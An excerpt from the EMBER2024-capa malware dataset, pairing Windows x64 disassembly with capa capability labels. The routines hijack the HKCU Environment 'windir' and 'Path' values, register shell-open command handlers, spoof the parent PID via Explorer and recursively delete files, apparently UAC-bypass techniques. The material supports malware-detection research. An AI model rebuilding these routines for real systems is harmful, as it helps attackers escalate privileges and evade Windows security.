joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000d670
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x20], rsi
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
push rbp
push rdi
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor edi, edi
mov esi, ecx
and qword [rbp + 0x6f], rdi
xor ecx, ecx
and qword [rbp - 0x11], rcx
mov r14, r9
mov qword [rbp + 0x77], rcx
mov ebx, 0xc0000001
test r9, r9
jne 0x14000d6b9
test esi, esi
je 0x14000d7d6
lea rcx, [rbp - 0x19]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov ebx, eax
test eax, eax
js 0x14000d7d2
and qword [rbp + 0x1f], 0
lea rax, [rbp - 0x19]
xorps xmm0, xmm0
mov qword [rbp + 0x27], rax
lea r8, [rbp + 0x17]
mov dword [rbp + 0x17], 0x30
mov edx, 0x2000000
mov dword [rbp + 0x2f], 0x40
lea rcx, [rbp + 0x6f]
mov edi, 1
movdqu xmmword [rbp + 0x37], xmm0
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov ebx, eax
test eax, eax
js 0x14000d7d2
lea rdx, str.Environment
lea rcx, [rbp + 7]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rbp + 0x6f]
lea r8, [rbp + 0x17]
mov qword [rbp + 0x1f], rax
lea rcx, [rbp + 0x77]
lea rax, [rbp + 7]
mov edx, 0x2000000
mov qword [rbp + 0x27], rax
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov ebx, eax
test eax, eax
js 0x14000d7d2
lea rdx, str.windir
lea rcx, [rbp - 9]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
test esi, esi
je 0x14000d775
mov rcx, qword [rbp + 0x77]
lea rdx, [rbp - 9]
call qword [sym.imp.ntdll.dll_NtDeleteValueKey]
jmp 0x14000d7a1
mov rcx, r14
call fcn.140001f50
mov rcx, qword [rbp + 0x77]
lea rdx, [rbp - 9]
mov r9d, edi
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov ebx, eax
test eax, eax
js 0x14000d7d2
and qword [rsp + 0x30], 0
lea r9, str.windir
xor r8d, r8d
mov dword [rsp + 0x28], 0x3e8
mov ecx, 0xffff
mov dword [rsp + 0x20], edi
lea edx, [r8 + 0x1a]
call qword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov rcx, qword [rbp + 0x77]
test rcx, rcx
je 0x14000d7e1
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rbp + 0x6f]
test rcx, rcx
je 0x14000d7f0
call qword [sym.imp.ntdll.dll_NtClose]
test edi, edi
je 0x14000d7fe
lea rcx, [rbp - 0x19]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
not ebx
lea r11, [rsp + 0xa0]
mov rsi, qword [r11 + 0x38]
shr ebx, 0x1f
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x14000d820
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 0x10], rdx
push rdi
sub rsp, 0x40
xor ebx, ebx
mov rbp, r9
and qword [rax + 0x10], rbx
mov rdi, r8
mov esi, ecx
test r8, r8
je 0x14000d90b
test r9, r9
jne 0x14000d85c
test ecx, ecx
je 0x14000d90b
lea r8, [rsp + 0x58]
mov rcx, 0xffffffff80000001
lea rdx, str.Environment
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x14000d8f0
test esi, esi
je 0x14000d88d
mov rcx, qword [rsp + 0x58]
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x14000d8bc
mov rcx, rbp
call fcn.140001f50
mov rcx, qword [rsp + 0x58]
mov r9d, 1
xor r8d, r8d
mov rdx, rdi
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete bl
test ebx, ebx
je 0x14000d8f0
and qword [rsp + 0x30], 0
xor r8d, r8d
mov dword [rsp + 0x28], 0x3e8
mov r9, rdi
mov ecx, 0xffff
mov dword [rsp + 0x20], 1
lea edx, [r8 + 0x1a]
call qword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000d90b
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbp, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x14000d924
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], rbx
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov dword [rax + 8], ecx
push rbp
push rdi
push r15
lea rbp, [rax - 0x168]
sub rsp, 0x250
xor ebx, ebx
mov rdi, r9
and qword [rbp + 0x180], rbx
test r9, r9
je 0x14000dabb
mov edx, 0x208
lea rcx, [rsp + 0x40]
call fcn.140001ae8
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp + 0x170]
mov dword [rbp + 0x170], eax
call qword [sym.imp.ntdll.dll_RtlRandomEx]
mov dword [rbp + 0x178], eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
not eax
lea rcx, [rbp + 0x170]
mov dword [rbp + 0x170], eax
call qword [sym.imp.ntdll.dll_RtlRandomEx]
mov dword [rbp + 0x17c], eax
lea rdx, [rsp + 0x40]
mov rcx, qword [rbp + 0x178]
call fcn.14000ea04
mov r15, 0xffffffff80000001
lea r8, [rsp + 0x40]
mov rcx, r15
lea rdx, str.Environment
call qword [sym.imp.ADVAPI32.dll_RegRenameKey]
test eax, eax
jne 0x14000da9c
lea r8, [rbp + 0x180]
mov rcx, r15
lea rdx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x14000da54
mov rcx, rdi
call fcn.140001f50
mov rcx, qword [rbp + 0x180]
lea r9d, [rbx + 1]
xor r8d, r8d
lea rdx, str.windir
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x180]
test eax, eax
sete bl
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
and qword [rbp + 0x180], 0
lea r8, str.Environment
mov rcx, r15
lea rdx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegRenameKey]
test ebx, ebx
je 0x14000da9c
and qword [rsp + 0x30], 0
lea r9, str.windir
xor r8d, r8d
mov dword [rsp + 0x28], 0x3e8
mov ecx, 0xffff
mov dword [rsp + 0x20], 1
lea edx, [r8 + 0x1a]
call qword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov rcx, qword [rbp + 0x180]
test rcx, rcx
je 0x14000dabb
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x288]
add rsp, 0x250
pop r15
pop rdi
pop rbp
ret
Function at 0x14000dad4
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], rbx
mov dword [rax + 0x18], r8d
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
lea rbp, [rax - 0x57]
sub rsp, 0xa0
xor ecx, ecx
xor edi, edi
and qword [rbp + 0x5f], rdi
mov rsi, r9
and qword [rbp - 0x19], rcx
mov ebx, 0xc0000001
mov qword [rbp + 0x67], rcx
test r9, r9
je 0x14000dc5b
lea rcx, [rbp - 0x21]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov ebx, eax
test eax, eax
js 0x14000dc57
and qword [rbp + 0x17], 0
lea rax, [rbp - 0x21]
xorps xmm0, xmm0
mov qword [rbp + 0x1f], rax
lea r8, [rbp + 0xf]
mov dword [rbp + 0xf], 0x30
mov edx, 0x2000000
mov dword [rbp + 0x27], 0x40
lea rcx, [rbp + 0x5f]
mov edi, 1
movdqu xmmword [rbp + 0x2f], xmm0
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov ebx, eax
test eax, eax
js 0x14000dc57
lea rdx, str.Environment
lea rcx, [rbp - 0x11]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rbp + 0x5f]
lea r8, [rbp + 0xf]
mov qword [rbp + 0x17], rax
lea rcx, [rbp + 0x67]
lea rax, [rbp - 0x11]
mov edx, 0x2000000
mov qword [rbp + 0x1f], rax
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov ebx, eax
test eax, eax
js 0x14000dc57
lea rdx, str.Path
lea rcx, [rbp - 1]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov r9, qword [rbp + 0x7f]
lea ebx, [rdi + 1]
test r9, r9
je 0x14000dbfa
mov rax, qword [0x14002ea50]
lea rdx, str.Path
and dword [rbp + 0x6f], 0
mov r8d, ebx
mov rcx, qword [rax + 0x18]
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x67]
mov qword [rsp + 0x20], rax
call fcn.14000cbbc
mov rcx, rsi
call fcn.140001f50
mov rcx, qword [rbp + 0x67]
lea rdx, [rbp - 1]
mov r9d, ebx
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov ebx, eax
test eax, eax
js 0x14000dc57
and qword [rsp + 0x30], 0
lea r9, str.Path
xor r8d, r8d
mov dword [rsp + 0x28], 0x3e8
mov ecx, 0xffff
mov dword [rsp + 0x20], edi
lea edx, [r8 + 0x1a]
call qword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov rcx, qword [rbp + 0x67]
test rcx, rcx
je 0x14000dc66
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rbp + 0x5f]
test rcx, rcx
je 0x14000dc75
call qword [sym.imp.ntdll.dll_NtClose]
test edi, edi
je 0x14000dc83
lea rcx, [rbp - 0x21]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
not ebx
shr ebx, 0x1f
mov eax, ebx
mov rbx, qword [rsp + 0xd8]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000defc
Capabilities:
Access pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x30
mov r14d, r9d
mov r15, r8
mov r12d, edx
mov rbp, rcx
xor ebx, ebx
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov rdi, rax
test rax, rax
je 0x14000df95
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], ebx
mov rcx, rbp
call fcn.1400017a8
mov rsi, rax
test rax, rax
je 0x14000df95
mov rdx, r15
mov rcx, rax
call fcn.140001924
test rax, rax
je 0x14000df84
sub eax, esi
mov dword [rdi + 0x28], eax
test r14d, r14d
je 0x14000df71
mov eax, 0xdfff
and word [rdi + 0x16], ax
mov edx, r12d
mov rcx, rbp
call fcn.14000d04c
mov dword [rdi + 0x58], eax
mov ebx, 1
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbp, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
ret

Function at 0x14000e194
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x20
and dword [rsp + 0x30], 0
mov edi, 0x1000
mov ecx, edi
call fcn.14000c8ac
mov rbx, rax
test rax, rax
je 0x14000e20e
jmp 0x14000e1db
mov rcx, rbx
call fcn.14000c8c8
lea eax, [rdi + rdi]
mov edi, eax
cmp eax, 0x20000000
ja 0x14000e20e
mov ecx, edi
call fcn.14000c8ac
mov rbx, rax
lea r9, [rsp + 0x30]
mov r8d, edi
mov rdx, rax
mov ecx, 5
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14000e1bd
test eax, eax
js 0x14000e201
mov rax, rbx
jmp 0x14000e210
test rbx, rbx
je 0x14000e20e
mov rcx, rbx
call fcn.14000c8c8
xor eax, eax
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14000e6d8
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x150
mov r15, r9
mov esi, r8d
mov r14, rdx
call fcn.140002e48
mov rdi, qword [rax + 0x30]
cmp esi, 0x104
ja 0x14000e791
call fcn.14000c8ec
mov edx, 0x114
lea rcx, [rsp + 0x30]
mov r12b, al
call fcn.140001ae8
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x30], edx
call qword [sym.imp.ntdll.dll_RtlGetVersion]
mov ebp, dword [rsp + 0x3c]
cmp ebp, 0x1db0
jb 0x14000e791
mov edx, 8
mov r8d, 0xca8
mov rcx, rdi
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x14000e791
and qword [rsp + 0x28], 0
xor edx, edx
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea ecx, [rdx + 2]
call qword [sym.imp.ntdll.dll_RtlCreateHeap]
mov qword [rbx + 0x18], rax
test rax, rax
jne 0x14000e7af
mov r8, rbx
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor eax, eax
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 1]
call qword [sym.imp.ntdll.dll_RtlSetHeapInformation]
mov dword [rbx + 0xc], 1
lea rcx, [rsp + 0x190]
mov dword [rbx + 8], ebp
mov eax, dword [0x7ffe0330]
mov dword [rsp + 0x190], eax
call qword [sym.imp.ntdll.dll_RtlRandomEx]
mov byte [rbx], r12b
mov dword [rbx + 4], eax
test esi, esi
je 0x14000e80c
mov r9, rsi
lea rcx, [rbx + 0x890]
mov r8, r14
mov edx, 0x104
call fcn.140002000
mov dword [rbx + 0x14], esi
mov eax, 0x10800010
mov ecx, 0x10840014
cmp ebp, 0x3a95
cmovbe eax, ecx
mov rcx, rbx
mov dword [rbx + 0x10], eax
call fcn.14000dfb8
test eax, eax
jne 0x14000e83d
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.ntdll.dll_RtlDestroyHeap]
jmp 0x14000e783
lea rdx, [rbx + 0x47c]
call fcn.14000d354
lea rdi, [rbx + 0x686]
mov ecx, 0x104
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp eax, 0x104
jae 0x14000e86d
mov rcx, rdi
call fcn.14000f520
lea rcx, [rbx + 0xa9a]
lea rdx, [rbx + 0x272]
call fcn.140001ee0
lea rdx, str.cmd.exe
call fcn.140001d68
mov rcx, r15
call fcn.14000c764
or qword [rbx + 0x28], 0xffffffffffffffff
mov qword [rbx + 0x20], rax
mov rax, rbx
jmp 0x14000e793
Function at 0x14000ec08
Capabilities:
Delete registry key
Delete registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
lea rax, str.SymbolicLinkValue
mov dword [rbp - 0x50], 0x240022
xor r15d, r15d
mov qword [rbp - 0x48], rax
mov qword [rbp + 0x28], r15
mov r14, rcx
call fcn.140001f50
mov rdi, rax
mov dword [rbp - 0x30], 0x30
lea rax, [rbp - 0x60]
mov qword [rbp - 0x28], r15
xorps xmm0, xmm0
mov qword [rbp - 0x20], rax
lea rcx, [rbp - 0x40]
mov dword [rbp - 0x18], 0x40
add edi, edi
movdqu xmmword [rbp - 0x10], xmm0
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov ebx, eax
test eax, eax
js 0x14000ed35
movzx ecx, word [rbp - 0x3e]
add rcx, 2
mov esi, edi
add rsi, rcx
mov rcx, rsi
call fcn.14000c8ac
mov rdi, rax
test rax, rax
je 0x14000ed29
lea rdx, [rbp - 0x40]
mov qword [rbp - 0x58], rax
lea rcx, [rbp - 0x60]
mov word [rbp - 0x60], r15w
mov word [rbp - 0x5e], si
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeStringToString]
mov ebx, eax
test eax, eax
js 0x14000ed21
mov rdx, r14
lea rcx, [rbp - 0x60]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeToString]
mov ebx, eax
test eax, eax
js 0x14000ed21
lea r8, [rbp - 0x30]
mov dword [rbp - 0x18], 0x140
mov edx, 0xf003f
lea rcx, [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov ebx, eax
test eax, eax
js 0x14000ed21
mov rcx, qword [rbp + 0x28]
lea rdx, [rbp - 0x50]
call qword [sym.imp.ntdll.dll_NtDeleteValueKey]
mov ebx, eax
test eax, eax
js 0x14000ed17
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtDeleteKey]
mov ebx, eax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, rdi
call fcn.14000c8c8
lea rcx, [rbp - 0x40]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
mov eax, ebx
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x14000ede4
Capabilities:
Access pe header
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rcx, r8
mov rbx, r9
mov rdi, r8
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
test rbx, rbx
je 0x14000ee05
and dword [rbx], 0
test rax, rax
je 0x14000ee36
movzx r10d, word [rax + 0x14]
movzx r11d, word [rax + 6]
add r10, 0x18
add r10, rax
test r11d, r11d
je 0x14000ee36
mov rcx, r10
call fcn.140001f70
test eax, eax
je 0x14000ee43
add r10, 0x28
add r11d, 0xffffffff
jne 0x14000ee20
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov eax, dword [r10 + 0xc]
add rax, rdi
test rbx, rbx
je 0x14000ee38
mov ecx, dword [r10 + 8]
mov dword [rbx], ecx
jmp 0x14000ee38
Function at 0x14000f040
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x170]
sub rsp, 0x270
xor r12d, r12d
mov rbx, r9
mov qword [rsp + 0x50], r12
mov rdi, r8
mov qword [rbp + 0x1b0], r12
mov r14, rdx
mov qword [rsp + 0x58], r12
mov rsi, rcx
test r8, r8
je 0x14000f2a5
cmp dword [r8 + 8], r12d
je 0x14000f2a5
test rbx, rbx
jne 0x14000f0a3
mov eax, 0xc00000f2
jmp 0x14000f2aa
lea rdx, [rsp + 0x50]
xor ecx, ecx
call fcn.14000eaf8
test eax, eax
js 0x14000f2aa
mov r13d, 2
cmp dword [rbp + 0x1c0], r12d
je 0x14000f174
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x40], r12
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], r12
mov rdx, rsi
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000f174
mov rcx, qword [rbp + 0x1b0]
lea r9d, [r13 - 1]
mov dword [rsp + 0x28], r12d
lea rdx, str.URL_Protocol
xor r8d, r8d
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov r8, qword [rbp + 0x1c8]
test r8, r8
je 0x14000f167
mov rcx, r8
call fcn.140001f50
mov rcx, qword [rbp + 0x1b0]
lea r9d, [r13 - 1]
lea rdx, [0x140026778]
lea rax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r8
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x1b0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, r14
lea rcx, [rsp + 0x60]
call fcn.140001ee0
lea rdx, str._shellopen
lea rcx, [rsp + 0x60]
call fcn.140001d68
lea rdx, [0x1400265c0]
lea rcx, [rsp + 0x60]
call fcn.140001d68
lea rdx, str.command
lea rcx, [rsp + 0x60]
call fcn.140001d68
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x40], r12
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], r12
xor r8d, r8d
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000f241
mov rcx, rbx
call fcn.140001f50
mov rcx, qword [rsp + 0x58]
lea rdx, [0x140026778]
mov r9d, 1
xor r8d, r8d
lea rax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, r12d
sub ecx, ebx
neg ecx
sbb ebx, ebx
and ebx, 0xc000014d
jmp 0x14000f246
mov ebx, 0xc000014d
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtClose]
test ebx, ebx
jns 0x14000f259
mov eax, ebx
jmp 0x14000f2aa
mov rax, qword [0x14002ea50]
mov edx, dword [rax + 8]
cmp edx, 0x4a62
ja 0x14000f28d
sub edx, 0x4563
je 0x14000f28d
sub edx, 0x257
je 0x14000f28d
cmp edx, 1
je 0x14000f28d
mov r8, r14
mov rdx, rsi
mov ecx, r13d
call qword [rdi]
jmp 0x14000f29b
mov r9d, r13d
mov r8, r14
mov rdx, rsi
mov ecx, r13d
call qword [rdi]
sar eax, 0x1f
and eax, 0xc0000001
jmp 0x14000f2aa
mov eax, 0xc00000f1
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
Function at 0x14000f564
Capabilities:
Get explorer pid

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x28
call qword [sym.imp.USER32.dll_GetShellWindow]
and dword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rsp + 0x30]
test r8d, r8d
je 0x14000f59e
xor edx, edx
mov ecx, 0x80
call qword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x14000f5a0
xor eax, eax
add rsp, 0x28
ret

Function at 0x14000f5a8
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], r9
mov qword [rax + 8], rcx
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x47]
sub rsp, 0xe0
mov rbx, qword [rbp + 0x7f]
xor r12d, r12d
mov r14, r8
mov r15, rdx
mov esi, r12d
test rbx, rbx
je 0x14000f5e6
mov qword [rbx], r12
mov edx, 0x18
lea rcx, [rbp - 0x71]
call fcn.140001ae8
lea rcx, [rbp - 0x51]
mov edx, 0x70
call fcn.140001ae8
mov rcx, r14
call fcn.140001f50
lea rcx, [rax*2 + 2]
mov qword [rbp + 0x67], rcx
call fcn.14000c8ac
mov rdi, rax
test rax, rax
je 0x14000f745
mov rdx, r14
mov rcx, rax
call fcn.140001ee0
mov ecx, 0x30
mov dword [rbp - 0x51], 0x70
mov qword [rbp + 0x67], rcx
lea r14d, [rcx - 0x2f]
cmp rcx, 0x400
ja 0x14000f73d
call fcn.14000c8ac
mov qword [rbp + 0x17], rax
test rax, rax
je 0x14000f729
lea r9, [rbp + 0x67]
xor r8d, r8d
mov edx, r14d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rcx, qword [rbp + 0x17]
test eax, eax
je 0x14000f724
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x4f]
mov qword [rsp + 0x28], r12
xor edx, edx
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x14000f711
lea rax, [rbp - 0x71]
mov dword [rbp - 0x15], r14d
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp - 0x51]
mov word [rbp - 0x11], r12w
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r12
mov rdx, rdi
mov qword [rsp + 0x30], r12
mov rcx, r15
mov dword [rsp + 0x28], 0xc080024
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000f711
mov rsi, qword [rbp - 0x71]
test rbx, rbx
je 0x14000f707
mov rax, qword [rbp - 0x69]
mov qword [rbx], rax
jmp 0x14000f711
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x17]
test rcx, rcx
je 0x14000f724
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, qword [rbp + 0x17]
call fcn.14000c8c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000f73d
mov rcx, qword [rbp + 0x67]
jmp 0x14000f646
mov rcx, rdi
call fcn.14000c8c8
lea r11, [rsp + 0xe0]
mov rax, rsi
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x14000f978
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5a8]
sub rsp, 0x690
mov r15d, 0x104
mov r8, rcx
mov rsi, rcx
mov ebx, 1
mov r9d, r15d
lea rcx, [rbp + 0x380]
mov edx, r15d
mov edi, ebx
call fcn.140002000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
je 0x14000f9e2
mov r8d, r15d
lea rdx, [0x140027ba8]
lea rcx, [rbp + 0x380]
call fcn.14000f8ac
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x14000fa7b
test ebx, ebx
je 0x14000fa7b
mov r9, r15
lea rcx, [rsp + 0x20]
mov r8, rsi
mov rdx, r15
call fcn.140002000
mov r8, r15
lea rdx, [rbp + 0x15c]
lea rcx, [rsp + 0x20]
call fcn.14000f8ac
test byte [rbp + 0x130], 0x10
je 0x14000fa5c
cmp word [rbp + 0x15c], 0x2e
je 0x14000fa67
lea rcx, [rsp + 0x20]
call fcn.14000f978
lea rcx, [rsp + 0x20]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
neg ebx
sbb eax, eax
and edi, eax
jmp 0x14000fa67
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x130]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov ebx, eax
jmp 0x14000f9ff
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
je 0x14000faa0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
neg eax
sbb ecx, ecx
and edi, ecx
lea r11, [rsp + 0x690]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret